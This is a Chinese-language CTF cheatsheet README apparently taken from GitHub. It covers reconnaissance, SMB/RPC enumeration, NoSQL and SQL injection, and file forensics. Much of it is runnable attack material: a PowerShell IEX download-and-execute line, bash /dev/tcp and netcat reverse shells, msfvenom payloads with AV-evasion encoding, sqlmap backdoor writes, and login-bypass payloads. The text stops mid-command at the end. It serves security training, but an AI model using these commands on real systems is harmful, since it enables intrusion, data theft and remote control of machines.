uppusaikiran/awesome-ctf-cheatsheet

GitHub: uppusaikiran/awesome-ctf-cheatsheet

一份综合性的 CTF 夺旗赛速查表,汇总了系统黑客、Web 渗透、密码学、数字取证、密码破解和权限提升等方向的常用工具命令与实战技巧。

Stars: 135 | Forks: 12

# Awesome Capture the Flag 速查表 [![Awesome](https://awesome.re/badge-flat.svg)](https://awesome.re)[](https://uppusaikiran.github.io/hacking/Capture-the-Flag-CheatSheet/) ## 目录 - [系统黑客 ](#system-hacking) - [Web 黑客](#web-hacking) - [文件黑客](#file-hacking) - [密码学](#cryptography) - [数字取证](#forensics) - [密码破解](#password-cracking) - [权限提升](#privilige-escalation) ## 系统黑客 ### Nmap 扫描 在 CTF 环境中,为了高效地发现主机、服务和漏洞,Nmap 是一款至关重要的工具。以下是一些精选的命令和策略: #### 🔍 发现子网中的存活主机: ``` nmap -sn 10.10.0.0/24 ``` 使用此命令可快速找出哪些机器处于开启状态。 #### 🔧 服务和版本检测: ``` nmap -sV ``` 识别开放端口以及运行服务的版本。 #### 🚨 漏洞扫描: ``` nmap --script vuln ``` 针对已知服务使用默认的漏洞检测脚本。 #### 🔍 强力全端口 + OS 检测 + 脚本扫描: ``` nmap -sS -T4 -A -p- ``` 扫描所有 65535 个 TCP 端口,并进行 OS、版本检测、脚本扫描和 Traceroute。 #### 🔐 SSL/TLS 枚举: ``` nmap --script ssl-enum-ciphers -p 443 ``` 显示 HTTPS 服务支持的 SSL/TLS 密码。 ### 🎯 CTF 专家提示: - **快速扫描特定端口:** ``` nmap -sS -p 21,22,80,443 ``` 重点关注常用服务端口。 - **仅扫描 Top 端口(快速扫描):** ``` nmap --top-ports 100 -T4 ``` 扫描最常用的 100 个端口。 - **UDP 扫描:** ``` nmap -sU -T4 -F ``` 适用于 DNS (53)、SNMP (161) 等服务。 - **暴力破解登录脚本(请负责任地使用):** ``` nmap --script ftp-brute -p 21 ``` 尝试对暴露的 FTP 进行暴力破解登录。 - **查找 HTTP 隐藏路径或目录:** ``` nmap --script http-enum -p 80 ``` 列出 Web 目录。 - **检测 SMB 共享:** ``` nmap --script smb-enum-shares -p 445 ``` 有助于横向移动或获取敏感信息。 - **针对所有服务的强力脚本扫描:** ``` nmap -sC -sV ``` 运行一组默认脚本进行信息收集。 - **将扫描输出保存到文件(用于笔记):** ``` nmap -sV -oN scan.txt ``` 用于生成文档或后续审查。 利用 Nmap 的脚本数据库(`ls /usr/share/nmap/scripts/`)探索更多针对您 CTF 场景的脚本。 在需要时保持隐蔽,并始终根据挑战的时间限制和规则调整您的扫描策略。 ### Netdiscover 扫描 要被动地发现网络上的机器,请使用 **Netdiscover**。它通过监听 ARP 请求来识别存活主机,而无需发送数据包,这使其成为 CTF 或红队演练中进行隐蔽侦察的理想选择。 ``` netdiscover -i ``` 如果不确定您的网络接口,请使用以下命令进行识别: ``` ip a # 或 ifconfig ``` **示例输出:** ``` Currently scanning: 192.168.17.0/16 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 8 hosts. Total size: 480 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.1 11:22:33:44:55:66 1 60 NETGEAR 192.168.1.2 21:22:33:44:55:66 1 60 Apple, Inc. 192.168.1.8 41:22:33:44:55:66 1 60 Intel Corporate ``` ### 🎯 使用 Netdiscover 的 CTF 专家提示: - **使用 `-r` 参数扫描特定子网范围:** ``` netdiscover -r 10.10.0.0/24 ``` 对于已知范围(例如在 HackTheBox 或 TryHackMe 实验室中),这比默认模式更快。 - **与 Wireshark 或 tcpdump 结合使用:** 使用 `netdiscover` 查找活跃主机,然后使用数据包嗅探器对它们进行监控。 - **扫描 MAC 供应商异常:** 识别具有伪造 MAC 的设备(例如 "Private" 或 "Unknown"),这些可能是攻击者控制的设备。 - **在 CTF 会话期间在后台运行:** 在单独的终端中保持 `netdiscover` 运行,以监控加入网络的新设备。 - **在隐蔽模式下使用:** 与 Nmap 不同,这不会主动探测。有利于在蓝队 CTF 场景中避免被发现。 **重要提示:** Netdiscover 仅适用于本地网络。它无法发现子网之外的主机。 为了获得最大效果,一旦发现初始目标,请始终将被动扫描与主动工具(如 Nmap)结合使用。 ### Nikto 扫描 使用 **Nikto** 扫描 Web 漏洞,这是一款功能强大的 Web 服务器扫描器,可以测试数以千计的已知问题。 ``` nikto -h ``` 该工具可有效识别过时的软件、不安全的配置和常见的 CVE。 ### 🎯 使用 Nikto 的 CTF 专家提示: - **使用 SSL 支持扫描 HTTPS 主机:** ``` nikto -h https:// ``` 检测特定于 SSL 的漏洞。 - **将输出保存到文件以供审查或报告:** ``` nikto -h -output nikto_scan.txt ``` 用于生成文档或后渗透分析。 - **扫描特定端口(例如 8080, 8443):** ``` nikto -h -p 8080 ``` CTF 通常在非标准端口上运行 Web 服务器。 - **与 Web 代理(例如 Burp Suite)配合使用:** ``` nikto -h -useproxy http://127.0.0.1:8080 ``` 手动拦截和分析请求。 - **结合其他工具:** 使用 Nikto 的发现结果,将其输入到 `gobuster`、`wpscan` 或自定义脚本等工具中进行进一步攻击。 **注意:** Nikto 噪音很大且容易被检测到。除非被允许,否则请避免在隐蔽/红队场景中使用。 ### Web 服务器枚举 当端口 **80 (HTTP)** 或 **443 (HTTPS)** 打开时,通常表明存在 Web 服务。这是一个枚举 Flag、目录和特定版本漏洞的好机会。 ### 🔍 基本 Web 检查 - **检查隐藏路径:** ``` curl http:///robots.txt ``` 在 CTF 中常用于存放彩蛋或线索。 - **识别 Web 服务器及版本:** ``` curl -I ``` **示例输出:** ``` HTTP/1.1 200 OK Date: Mon, 11 May 2020 05:18:21 Server: gws Last-Modified: Mon, 11 May 2020 05:18:21 Content-Length: 4171 Content-Type: text/html Connection: Closed ``` 查看 `Server:` 标头,查明它是 Apache、Nginx 还是特定供应商的产品。 ### 🛡️ 如果端口 80 已关闭但预期它应该是开放的 这可能表明: - 存在 **入侵检测系统** - 启用了 **端口碰撞** 机制 #### 解决方法: - **带延迟重新扫描:** ``` sleep 10 && nmap -p 80 ``` 有时端口可用性会在一段时间后或在探测其他端口后发生变化。 - **使用 TCP 连接扫描绕过 SYN 扫描限制:** ``` nmap -p 80 -sT ``` 示例输出: ``` PORT STATE SERVICE 80/tcp closed http ``` SYN 扫描 (`-sS`) 可能会被防火墙阻止或过滤,而在某些设置中,`-sT`(完整的 TCP 握手)可以绕过它。 ### 🎯 CTF 专家提示: - **使用 `whatweb` 或 `wappalyzer` 等工具** 检测 CMS 或框架。 ``` whatweb ``` - **结合 `gobuster` 或 `dirsearch`** 暴力破解目录: ``` gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt ``` - **如果识别出 CMS,务必检查默认凭据**(例如 `admin:admin`、`guest:guest`)。 - **当发现登录门户或表单时,使用 Burp Suite 或 ZAP 进行更深入的检查。** - **如果在 80/443 上未找到 Web 应用程序,请尝试其他端口,如 8080、8000 或 8443。** Web 服务通常将 CTF Flag 隐藏在目录、源代码注释或错误配置中。请务必彻底检查! ### 📂 目录爆破 要枚举 Web 服务器上的隐藏目录和文件,在 CTF 中目录暴力破解是必不可少的。 #### 使用 `wfuzz`: ``` wfuzz -u http:///FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` #### 使用 `gobuster`(更快的替代方案): ``` gobuster dir -u http:/// -w /usr/share/wordlists/dirb/common.txt -t 50 ``` #### 使用 `dirsearch`(基于 Python 的工具): ``` python3 dirsearch.py -u http:/// -e php,html,txt -x 403,404 ``` ### 🎯 CTF 专家提示: - **尝试多种扩展名**:CTF Flag 通常被隐藏为 `.php`、`.txt`、`.bak` 等。 ``` -gobuster -x php,txt,bak ``` - **在 `dirsearch` 等工具中使用递归模式**,深入探索已发现的文件夹。 - **过滤掉 403/404 响应**,以减少噪音并专注于有效路径。 - **寻找备份文件或配置泄漏**,如 `.git/`、`config.php`、`.env`。 - **使用 `wfuzz` 扫描隐藏参数**: ``` wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http:///index.php?FUZZ=test ``` - **检查 robots.txt 和 sitemap.xml** 以获取隐藏页面的提示。 ### 🧠 从网站生成字典 使用 `cewl` 爬取目标网站并根据其内容生成自定义字典——适用于密码攻击、用户名发现或目录暴力破解。 #### 基本用法: ``` cewl -w wordlist.txt -d 10 -m 1 http:/// ``` #### 字数统计: ``` wc wordlist.txt # 354 354 2459 wordlist.txt ``` ### 🎯 CTF 专家提示: - **增加深度 (`-d`)** 从更深的页面(例如 `/about`、`/team`、`/login`)中提取单词。 - **使用 `-e`** 在输出中包含电子邮件地址: ``` cewl -e -w emails.txt http:/// ``` - **与 Hydra 或 Burp 结合使用** 进行登录暴力破解攻击。 - **使用自定义 user-agent (`-a`) 运行** 以绕过基本的 WAF: ``` cewl -a "Mozilla/5.0" -w wordlist.txt http:/// ``` - **如果网站包含带数字的单词(例如 `admin123`),请使用 `--with-numbers`。** ### 📁 SMB 已开放 当端口 **139/445** 打开时,目标可能正在运行 **SMB (Server Message Block)**——在 CTF 中经常被错误配置,使其成为枚举和利用的金矿。 #### 🔍 匿名共享枚举 ``` smbclient -L \\\\ ``` 列出可用的共享。如果在没有凭据的情况下成功,则说明服务器允许匿名登录。 #### 📂 挂载 SMB 共享(匿名或经过身份验证) ``` mkdir /mnt/smb mount -t cifs /// /mnt/smb/ -o guest ``` 或使用凭据: ``` mount -t cifs /// /mnt/smb/ -o username=,password= ``` #### 🔐 使用凭据 – 使用 `smbmap` ``` smbmap -H -u administrator -p password ``` 枚举共享、权限和访问级别。 #### 🚀 获取 Shell – 使用 `psexec.py` ``` python3 /opt/impacket/examples/psexec.py administrator@ ``` 如果凭据有效且 ADMIN$ 可访问,这将使您进入一个 SYSTEM shell。 ### 🎯 CTF 专家提示: - **使用 `enum4linux`** 进行快速、详细的 SMB 扫描: ``` enum4linux -a ``` - **在诸如 `Backups`、`Users` 或 `C$` 的共享中寻找备份文件或 password.txt**。 - **交互式使用 `smbclient`** 探索共享: ``` smbclient \\\\\\Backups smb: \> ls ``` - **尝试空会话 (`-N`)**: ``` smbclient -L // -N ``` - **如果 `psexec.py` 失败**,请尝试 `wmiexec.py`、`smbexec.py` 或 `atexec.py`(来自 Impacket)。 - **使用 `crackmapexec` 等工具进行自动化** 大规模凭据喷洒: ``` crackmapexec smb -u users.txt -p passwords.txt ``` ### 💾 提取和挂载 VHD 驱动器文件 虚拟硬盘 (VHD) 文件通常出现在数字取证或基于 Windows 的 CTF 挑战中。它们可能包含隐藏的 Flag、用户配置文件或敏感文件。 #### 📦 列出 VHD 的内容 ``` 7z l .vhd ``` 在挂载前快速检查存档以确认其结构。 #### 🔗 使用 Guestmount 挂载 VHD ``` guestmount --add .vhd --inspector -ro -v /mnt/vhd ``` - `--inspector`:自动检测并挂载正确的分区。 - `-ro`:以**只读**方式挂载(对分析很安全)。 - `-v`:启用详细输出。 请确保已安装 `libguestfs-tools`。 ### 🎯 CTF 专家提示: - **务必检查 `Desktop`、`Downloads`、`Documents` 中的 `.flag`、`.txt` 或 `.zip`。** - **在以下位置搜索浏览器历史记录或凭据:** - `AppData/Roaming` - `Users//Recent` - **如果 guestmount 失败**,请尝试手动分区检测: ``` fdisk -l .vhd ``` 然后使用 loop 设备挂载: ``` mount -o ro,loop,offset= .vhd /mnt/vhd ``` - **使用 `strings` 或 `binwalk`** 从 VHD 文件中提取线索: ``` strings .vhd | grep flag ``` ### 🔍 在 Metasploit 中按名称搜索漏洞利用 使用 `searchsploit` 从 Exploit-DB 存储库中快速查找已知的漏洞利用或漏洞。 #### 基本用法: ``` searchsploit apache 1.2.4 ``` 在本地数据库中搜索特定 Apache 版本的漏洞利用。 ### 🎯 CTF 专家提示: - **使用 `-x` 直接打开漏洞利用:** ``` searchsploit -x exploits/unix/remote/12345.txt ``` - **镜像数据库以确保其是最新的:** ``` searchsploit -u ``` - **使用引号进行精确匹配:** ``` searchsploit "Apache 2.4.49" ``` - **在 PoC 中搜索关键字(例如 RCE、LFI):** ``` searchsploit --www | grep RCE ``` - **如果已知 CVE-ID,请使用它进行搜索:** ``` searchsploit CVE-2021-41773 ``` - **直接在 Metasploit 中搜索:** ``` msfconsole > search type:exploit name:apache ``` ### 📰 WordPress 已开放 如果在 Web 枚举期间发现了 `/wp-login.php`,则目标可能正在运行 WordPress——这是 CTF 中常见且通常存在漏洞的 CMS。 #### 🔑 使用 Hydra 暴力破解登录 - 根据失败登录的响应调整 `F=` 字符串。 - 使用 **Burp Suite** 捕获登录 POST 参数。 #### 🔎 使用 WPScan 扫描插件、主题和漏洞 ``` gem install wpscan wpscan --url http:// --enumerate u,vt,tt,cb,dbe --plugins-detection aggressive ``` - 使用凭据: ``` wpscan --url http:// --usernames admin --passwords wordlist.dic ``` #### 🐚 通过管理员上传反向 Shell (Metasploit) ``` msfconsole use exploit/unix/webapp/wp_admin_shell_upload set RHOST set USERNAME admin set PASSWORD run ``` ### 🎯 CTF 专家提示: - **检查 `/readme.html` 或 `wp-includes/version.php`** 以获取 WordPress 版本泄漏。 - **务必先枚举用户**,以减少暴力破解尝试: ``` wpscan --url http:// --enumerate u ``` - **扫描过时的插件/主题**——它们是常见的攻击媒介。 - **在插件文件中寻找可写的上传目录或 `eval()` 的使用。** - **如果已知源代码或版本,请在鲜为人知的插件上尝试 LFI/SQLi。** ### 🛰️ RPC 已开放 如果端口 **135**(或通过 SMB 的 RPC 的 **445** 端口)打开,则表示这是一个具有远程过程调用 (RPC) 功能的 Windows 主机。配置不当的 RPC 访问可能会暴露用户名、共享和域信息。 #### 🔐 匿名 RPC 登录 ``` rpcclient -U "" ``` 在提示输入密码时按 **Enter** 以尝试空会话。 ### 🎯 CTF 专家提示: - **枚举用户:** ``` rpcclient -U "" -c "enumdomusers" ``` - **获取详细的用户信息:** ``` rpcclient -U "" -c "queryuser RID" ``` - **枚举组:** ``` rpcclient -U "" -c "enumdomgroups" ``` - **查找策略或域信息:** ``` rpcclient -U "" -c "getdompwinfo" ``` - **与 `smbclient` 结合使用**,根据枚举结果访问用户目录。 - **使用 RID 循环暴力破解用户名:** ``` rpcclient -U "" -c "lookupsids S-1-5-21-XXXX-XXXX-XXXX-500" ``` - **如果找到了凭据**,请将其与 `rpcclient -U user%pass ` 一起使用以获得完全访问权限。 ### 💻 PowerShell PowerShell 是 Windows 机器上强大的后渗透和枚举工具。 #### 🚫 绕过执行策略 ``` powershell.exe -exec bypass ``` 允许执行未签名的脚本而无需修改系统范围的策略。 ### 🎯 CTF 专家提示: - **下载并执行 Payload:** ``` powershell -c "IEX (New-Object Net.WebClient).DownloadString('http:///rev.ps1')" ``` - **运行编码命令以规避检测:** ``` powershell -EncodedCommand ``` - **使用 PowerView 或 Nishang** 进行枚举、权限提升和持久化。 - **使用 `-w hidden` 抑制 PowerShell 窗口(后渗透):** ``` powershell -w hidden -exec bypass -File script.ps1 ``` - **枚举系统信息、用户和网络:** ``` Get-LocalUser Get-LocalGroupMember administrators Get-NetIPAddress ``` ### 🧬 NoSQL 注入 – 完整的 CTF 利用指南 #### 🔓 登录绕过 Payload 这些利用了 MongoDB 灵活的查询特性: ``` username[$ne]=null&password[$ne]=null username[$gt]=admin&password[$gt]=admin username[$regex]=.*&password[$regex]=.* username[$in][]=admin&password[$in][]=admin ``` 这些 Payload 通过在任何非空或正则表达式匹配上返回 `true` 来允许登录。 ### 🛠️ 常见注入入口点 | 注入途径 | 描述 | |-------------------------|-------------------------------------| | URL 参数 | `?username[$ne]=1&password[$ne]=1` | | 表单字段 (POST) | 登录输入 | | JSON 主体 | `{"username": {"$ne": null}}` | | HTTP 标头 | `X-User: {"$gt": ""}` | ### 🧪 盲注 NoSQL 注入(用户枚举) 尝试逐个字母暴力破解用户名: ``` username[$regex]=^a&password[$ne]=x username[$regex]=^adm&password[$ne]=x ``` 检查响应差异以确认部分匹配。 #### 🔍 通过正则表达式提取用户名 这有助于发现有效用户: ``` username[$regex]=^admin&password[$ne]=anything ``` ### 🧠 提取密码长度(使用 `$where`) 如果支持 `$where`(JS 注入): ``` username=admin&password[$where]=this.password.length==6 ``` 首先枚举长度,然后逐个字符提取。 ### 🔁 基于时间的注入(时序攻击) 如果错误信息没有帮助,请利用时间: ``` username=admin&password[$where]=sleep(5000) ``` 或者对于某些框架: ``` username=admin&password[$where]=function() { sleep(5000); return true; } ``` 如果发生延迟,则说明注入成功。 ### 🧰 自动化工具 #### 🛠️ NoSQLMap ``` git clone https://github.com/codingo/NoSQLMap cd NoSQLMap python3 nosqlmap.py ``` 用于: - 转储数据库 - 枚举用户 - 身份验证绕过 - JS 注入利用 #### 🐍 Burp Suite + Intruder 1. 拦截登录 POST 请求。 2. 发送到 Intruder。 3. 使用以下 Payload 进行模糊测试: - `[$ne]=1` - `[$regex]=^a` - `[$where]=...` 监控响应的变化。 ### 🔐 权限提升 / 管理员劫持 如果用户存在: ``` username=admin&password[$ne]=invalid ``` 如果登录成功,则已确认用户 `admin` 存在。 绕过方法: ``` username=admin&password[$gt]= ``` 如果管理面板访问是通过角色控制的: ``` role[$eq]=admin ``` ### 🧨 绕过过滤器 绕过弱过滤: - 使用数组参数:`username[$in][]` - 编码特殊字符:`%24ne`,`%24regex` - JSON 嵌套注入: ``` {"user":{"$gt":""}} ``` ### 🎯 最终 CTF 提示: - **检查登录、搜索、过滤和 API 端点**——任何用户输入到达 MongoDB 的地方。 - **探索标头(`X-User`、`X-Auth`)**,在隐藏的 API 中进行 NoSQL 注入。 - **在尝试暴力破解之前,务必先枚举用户名。** - **寻找启用 JavaScript 的后端以利用 `$where`。** - **将 NoSQLi 与 LFI、RCE 或配置不当的 MongoDB 访问结合起来利用。** ## Web 黑客 ### Web 黑客的五个阶段 ``` * Reconnaissance * Scanning and Enumeration * Gaining Access * Maintaining Access * Covering Tracks ``` ### 🛰️ 枚举和侦察工具 在 CTF 中,侦察至关重要。在利用之前,请使用这些工具收集情报。 #### 🔎 被动侦察 - **Whois、Nslookup、Dig、Dnsrecon** – 基本的 DNS 和域信息。 - **Google Dorking (Google Fu)** – 发现暴露的文件或目录: - `site: ext:log` - `intitle:index.of "backup"` #### 🌐 子域和证书枚举 - [**Sublist3r**](https://github.com/aboul3la/Sublist3r) – 快速子域发现: sublist3r -d target.com - [**crt.sh**](https://crt.sh) – 公共 SSL 证书透明度日志。 - [**Amass**](https://github.com/owasp-amass/amass) – 广泛的子域和 DNS 枚举。 #### 📧 电子邮件和泄露查询 - [**Hunter.io**](https://hunter.io) – 发现相关电子邮件。 - [**HaveIBeenPwned**](https://haveibeenpwned.com/) – 检查电子邮件泄露情况。 - [明文密码数据集](https://github.com/philipperemy/tensorflow-1.4-billion-password-analysis) – 构建真实的密码列表。 #### 🧠 指纹识别和技术栈 - **Wappalyzer**、**WhatWeb**、**BuiltWith** – 识别后端技术、CMS 或框架。 - **Nmap** – 版本检测和端口扫描。 - **Netcat** – 基本的 Banner 抓取或监听器设置。 #### 🔐 标头、文件和隐藏路径 - [**SecurityHeaders**](https://securityheaders.com/) – 扫描 HTTP 标头中的配置错误。 - **OWASP ZAP 代理** – 抓取并提取隐藏文件或管理员路径。 - **Burp Suite** – Spider、Repeater、Intruder 用于彻底的侦察。 #### 🕵️‍♀️ 从搜索引擎中收集信息 ``` theharvester -d microsoft.com -l 200 -g -b google ``` - 使用 `-b all` 进行多引擎抓取。 - 针对电子邮件、域名、子域、主机、员工姓名。 ### 🎯 CTF 专家提示: - 始终在**并行线程**中运行侦察(子域、证书、电子邮件等)。 - 使用发现的结果创建用于暴力破解的**自定义字典**(例如通过 `cewl`、`crunch`)。 - 将发现的结果转化为主动攻击——开放端口、登录面板、电子邮件和配置错误通常会导致第一个立足点。 ### 扫描 对网络进行 Ping 扫描。 ``` > $ nmap -sn ``` 速度为 4 的 SYN 扫描和常用的 1000 个 TCP 端口。 ``` > $ nmap -T4 ``` 包含 OS、版本、脚本和 Traceroute 的所有端口全扫描。 ``` > $ nmap -T4 -A -p- ``` 扫描 UDP 端口(不要扫描所有端口,因为这会耗费大量时间)。 ``` > $ nmap -sU -T4 ``` ### 💣 Payload Payload 是利用后在目标上执行的代码。在 Metasploit 中,它们被分类为 **Staged** 和 **Non-Staged**。 #### 🧱 Non-Staged Payload (单一 Payload) ``` windows/meterpreter_reverse_tcp ``` - 一次性发送**整个 Payload**。 - 更容易被检测到,但**更简单**易用。 - 在**不稳定的网络**中更可靠。 #### 🧩 Staged Payload (模块化/两步) ``` windows/meterpreter/reverse_tcp ``` - 首先发送一个**小型 Stager**,然后下载完整的 Payload。 - 传输时占用空间较小,适用于**绕过过滤器**。 - **更具隐蔽性**,但在连接不稳定时可能会中断。 ### 🎯 CTF 专家提示: - 使用 **`msfvenom`** 生成独立的 Payload: ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell.exe ``` - 用于上传 Web Shell: ``` msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=4444 -f raw > shell.php ``` - 在 Metasploit 中使用 **`multi/handler`** 接收 Shell: ``` use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST set LPORT 4444 run ``` - 对 Payload 进行编码以绕过 AV: ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -e x86/shikata_ga_nai -f exe > shell.exe ``` ### 🐚 Shell Shell 对于后渗透访问至关重要。它们可以是 **Bind Shell** 或 **Reverse Shell**,具体取决于由哪一方发起连接。 #### 🔗 Bind Shell 目标监听,攻击者连**入**。 1️⃣ **在目标机上(创建 Shell):** ``` nc -lvp -e /bin/bash ``` 2️⃣ **在攻击机上(连接到 Shell):** ``` nc ``` #### 🔁 Reverse Shell 攻击者监听,目标连**回**。 1️⃣ **在攻击机上(监听):** ``` nc -lvp 9001 ``` 2️⃣ **在目标机上(触发 Shell):** ``` bash -c 'bash -i &> /dev/tcp//9001 0>&1' ``` #### 🧪 Perl Reverse Shell(在 CTF 中很常见) ``` perl -MIO -e '$p=fork;exit if $p;...' ``` - 当您通过 Web 获得命令执行权限时使用。 - 替换为您的 IP 和端口。 - 稳定但容易被检测到——稍后请升级 Shell。 ### 🧼 Shell 升级技巧 如果您获得了一个基本的 Shell,请对其进行升级: ``` python -c 'import pty; pty.spawn("/bin/bash")' ``` 并使其具有交互性: ``` CTRL+Z stty raw -echo; fg reset export TERM=xterm ``` ### 🎯 CTF 专家提示: - **始终尝试多种 Shell 方法:** Bash、Python、Perl、PHP、Socat。 - **使用 `rlwrap` 或 `script` 包装 Netcat** 以实现历史记录/导航功能。 - **有些机器会阻止 Netcat**——使用 `socat` 或 `mkfifo` Shell: ``` mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc > /tmp/f ``` - **检查 Cron 任务或文件上传以使用 Reverse Shell 实现持久化。** ### 💥 缓冲区溢出 缓冲区溢出利用可用于执行任意代码,通常会提供 Shell 访问权限。其中一个关键步骤是将 Shellcode 注入到程序的内存中。 #### 🛠️ 使用 `pwntools` (Python) 生成 Shellcode 生成用于执行 `/bin/sh` 的快速 Shellcode: ``` python -c "import pwn; print(pwn.asm(pwn.shellcraft.linux.sh()))" ``` #### 🔁 将 Shellcode 通过管道传递给易受攻击的二进制文件 ``` (python -c "import pwn; print(pwn.asm(pwn.shellcraft.linux.sh()))"; cat) | ./vuln ``` - 结合 Shellcode 和标准输入以实时利用缓冲区。 - `cat` 在 Payload 注入后保持会话活跃。 ### 🎯 CTF 专家提示: - **为 Shellcode 设置架构**: ``` context.arch = 'amd64' # or 'i386' ``` - **使用 GDB 进行调试:** ``` gdb ./vuln ``` - **使用模式生成来查找偏移量:** ``` pwn cyclic 100 pwn cyclic -l ``` - **附加 `pwntools` 调试器**: ``` p = gdb.debug("./vuln", gdbscript="b *main\ncontinue") ``` - **使用 `ROPgadget` 查找有用的指令**,用于 ret2libc 或 ROP 链接。 ### 🚪 Gobuster – 目录与文件枚举 Gobuster 是一款快速、灵活的工具,用于暴力破解 Web 服务器上的目录、文件和虚拟主机——在 CTF 期间发现隐藏内容的关键。 #### 🔍 基本目录枚举 ``` gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` - 使用默认扩展名或结合 `-x php,txt,bak` 以获得更好的结果。 #### 🍪 使用 Cookies(经过身份验证的枚举) ``` gobuster dir -u http:// \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php -c PHPSESSID= ``` - 当需要登录或访问基于会话时非常有用。 ### 🎯 CTF 专家提示: - **针对文件扩展名**: ``` -x php,html,txt,bak,zip ``` - **更改状态码过滤器** 以包含重定向、禁止等: ``` --status-codes 200,204,301,302,307,401,403 ``` - **递归暴力破解**(手动探索找到的目录)。 - **初始扫描使用较小的字典**,然后进行细化: - `/usr/share/wordlists/dirb/common.txt` - `/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt` - **添加 user-agent 以绕过简单的 WAF:** ``` --user-agent "Mozilla/5.0" ``` - **使用k` 扫描 HTTPS URL** 以忽略 SSL 验证(CTF 通常使用自签名证书): ``` gobuster dir -k -u https:// -w ... ``` - **不要错过隐藏的管理员或上传门户**,例如: - `/admin`、`/upload`、`/debug`、`/backup` ### 🧬 SQLMap – SQL 注入自动化 SQLMap 可自动检测和利用 SQL 注入缺陷。在 CTF 中,这是提取数据库、用户、表甚至获取 Shell 的快捷方式。 #### 🔁 通过 Burp Suite 捕获 HTTP 请求 1. 拦截一个易受攻击的 POST 请求: ``` POST / HTTP/1.1 Host: ... search=help ``` 2. **右键单击 → 保存到文件**(例如 `search.req`) #### 🚀 对捕获的请求运行 SQLMap ``` sqlmap -r search.req --batch --force-ssl ``` - `-r`:使用原始 HTTP 请求文件。 - `--batch`:在没有交互式提示的情况下运行。 - `--force-ssl`:适用于 HTTPS 端点。 ### 🎯 CTF 专家提示: - **提取完整的数据库结构:** ``` sqlmap -r search.req --dbs sqlmap -r search.req -D --tables sqlmap -r search.req -D -T --dump ``` - **枚举当前的数据库、用户和版本:** ``` sqlmap -r search.req --current-db sqlmap -r search.req --current-user sqlmap -r search.req --banner ``` - **OS Shell 或文件写入:** ``` sqlmap -r search.req --os-shell sqlmap -r search.req --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php ``` - **测试特定参数(如果请求包含多个参数):** ``` sqlmap -r search.req -p search ``` - **绕过 WAF:** ``` --tamper=space2comment,randomcase ``` - **使用 Cookies(如果需要会话):** ``` sqlmap -r search.req --cookie="PHPSESSID=" ``` - **避免被 IDS 检测:** ``` --random-agent --delay=1 --threads=1 ``` ## 文件黑客 ### 📄 从 PDF 文件中提取隐藏文本 CTF 中的 PDF 通常使用图层、压缩、白色文本或嵌入对象来隐藏 Flag。 #### 🖱️ 手动提取(快速尝试) 1. **打开 PDF → Ctrl + A → Ctrl + C** 2. **粘贴到记事本** 或任何纯文本编辑器中。 #### 🎨 使用 Inkscape(针对嵌入/分层的 Flag) 1. 在 [**Inkscape**](https://inkscape.org) 中打开 PDF 2. 反复点击 **“取消编组”** (`Shift + Ctrl + G`) 3. 寻找: - 白底白字 - 隐藏对象或覆盖层 - 画布外的数据 #### 🔧 使用 `qpdf` 解压 PDF ``` qpdf --qdf --object-streams=disable input.pdf output_uncompressed.pdf ``` - 将 PDF 流转换为可读文本。 - 使用文本编辑器打开并搜索 `flag`、`HTB`、`CTF{` 等。 ### 🎯 CTF 专家提示: - **在十六进制编辑器中搜索**嵌入的字符串: ``` strings file.pdf | grep -i flag ``` - **使用 `pdf-parser.py`**(由 Didier Stevens 编写)检查 PDF 对象: ``` pdf-parser.py input.pdf ``` - **如果 PDF 嵌入了其他文件,请尝试 `binwalk`**: ``` binwalk input.pdf ``` - **如果是图像密集型的,请在 GIMP 或 Photoshop 中寻找不可见/隐藏的图层。** - **如果文本嵌入在图像中,请使用 OCR (`tesseract`)**: ``` tesseract image.png stdout ``` ### 📦 压缩文件提取 在 CTF 中,压缩文件可能会将 Flag 深度嵌套隐藏,或者使用备用扩展名或嵌入格式进行伪装。 #### 🔍 识别文件类型 (Magic Bytes) 检查文件头: ``` xxd | head ``` - 如果它以 `50 4B` (`PK`) 开头,那么它很可能是一个 **ZIP** 文件,即使其扩展名具有误导性。 #### 🧨 使用 `binwalk` 递归提取 ``` binwalk -Me ``` - `-M`:启用嵌入文件的递归提取。 - `-e`:自动提取已知文件类型。 - 将输出保存在 `_FILE_NAME.extracted/` 中。 ### 🎯 CTF 专家提示: - **使用 `file` 命令确认类型:** ``` file ``` - **如果是标准 ZIP,请手动解压:** ``` unzip ``` - **对于未知或嵌套格式,请使用 `7z`:** ``` 7z x ``` - **检查内部是否存在受密码保护的存档:** - 使用 `fcrackzip` 或 `john` 进行暴力破解: ``` fcrackzip -v -u -D -p wordlist.txt protected.zip ``` - **有时 `.jpg`、`.png` 或 `.docx` 内部会隐藏 zip。使用 `binwalk` 或 `steghide` 进行检测。** - **用于嵌套 zip 的循环解压脚本:** ``` while file *.zip | grep -q 'Zip archive'; do for f in *.zip; do unzip "$f" -d "${f}_unzipped"; done; cd *_unzipped; done ``` ### 🧵 提取隐藏字符串 CTF 文件通常以二进制、编码或混淆的形式隐藏 Flag。使用基本的 Linux 工具进行深度检查。 #### 🔍 查看嵌入或编码的文本 **使用 `strings` 提取 ASCII 可读数据:** ``` strings | grep -i flag ``` **使用 `hexeditor` 手动检查二进制布局:** ``` hexeditor ``` - 寻找可读数据、base64 模式和意外的标头。 - 寻找诸如 `flag{...}`、`HTB{...}` 之类的线索,甚至是 **Unicode 编码**的文本。 #### 🔐 检测 Base64(在 CTF 中很常见) 如果您看到如下模式: ``` U2FsdGVkX1+VZmxhZ3s0aGFja2VkX2ZsYWd9== ``` 结尾的 `==` 表明是 **base64 编码**: ``` echo 